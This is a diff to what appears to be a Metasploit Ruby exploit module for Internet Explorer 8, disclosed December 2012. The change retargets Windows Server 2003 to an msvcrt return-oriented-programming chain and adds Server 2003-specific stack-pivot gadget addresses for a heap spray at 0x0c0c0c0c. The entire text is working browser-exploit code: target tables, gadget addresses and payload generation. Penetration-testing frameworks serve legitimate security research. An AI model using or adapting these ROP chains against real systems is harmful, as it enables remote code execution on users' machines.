@@ -58,8 +58,8 @@ def initialize(info={})
58
58
[ 'Automatic' , { } ] ,
59
59
[ 'IE 8 on Windows XP SP3' , { 'Rop' => :msvcrt , 'Offset' => '0x586' } ] , # 0x0c0c0b30
60
60
[ 'IE 8 on Windows Vista' , { 'Rop' => :jre , 'Offset' => '0x586' } ] , # 0x0c0c0b30
61
- [ 'IE 8 on Windows Server 2003' , { 'Rop' => :jre , 'Offset' => '0x586' } ] , # 0x0c0c0b30
62
- [ 'IE 8 on Windows 7' , { 'Rop' => :jre , 'Offset' => '0x586' } ] # 0x0c0c0b30
61
+ [ 'IE 8 on Windows Server 2003' , { 'Rop' => :msvcrt , 'Offset' => '0x586' } ] , # 0x0c0c0b30
62
+ [ 'IE 8 on Windows 7' , { 'Rop' => :jre , 'Offset' => '0x586' } ] , # 0x0c0c0b30
63
63
] ,
64
64
'Privileged' => false ,
65
65
'DisclosureDate' => "Dec 27 2012" ,
@@ -152,10 +152,17 @@ def get_payload(t, cli)
152
152
case t [ 'Rop' ]
153
153
when :msvcrt
154
154
print_status ( "Using msvcrt ROP" )
155
- stack_pivot = [ 0x77c15ed6 ] . pack ( "V" ) * 54 # ret
156
- stack_pivot << [ 0x77c2362c ] . pack ( "V" ) # pop ebx, #ret
157
- stack_pivot << [ 0x77c15ed5 ] . pack ( "V" ) # xchg eax,esp # ret # 0x0c0c0c0c
158
- rop_payload = generate_rop_payload ( 'msvcrt' , code , { 'pivot' => stack_pivot , 'target' => 'xp' } )
155
+ if t [ 'Name' ] =~ /Windows XP/
156
+ stack_pivot = [ 0x77c15ed6 ] . pack ( "V" ) * 54 # ret
157
+ stack_pivot << [ 0x77c2362c ] . pack ( "V" ) # pop ebx, #ret
158
+ stack_pivot << [ 0x77c15ed5 ] . pack ( "V" ) # xchg eax,esp # ret # 0x0c0c0c0c
159
+ rop_payload = generate_rop_payload ( 'msvcrt' , code , { 'pivot' => stack_pivot , 'target' => 'xp' } )
160
+ else
161
+ stack_pivot = [ 0x77bcba5f ] . pack ( "V" ) * 54 # ret
162
+ stack_pivot << [ 0x77bb4158 ] . pack ( "V" ) # pop ebx, #ret
163
+ stack_pivot << [ 0x77bcba5e ] . pack ( "V" ) # xchg eax,esp # ret # 0x0c0c0c0c
164
+ rop_payload = generate_rop_payload ( 'msvcrt' , code , { 'pivot' => stack_pivot , 'target' => '2003' } )
165
+ end
159
166
else
160
167
print_status ( "Using JRE ROP" )
161
168
stack_pivot = [ 0x7c348b06 ] . pack ( "V" ) * 54 # ret
0 commit comments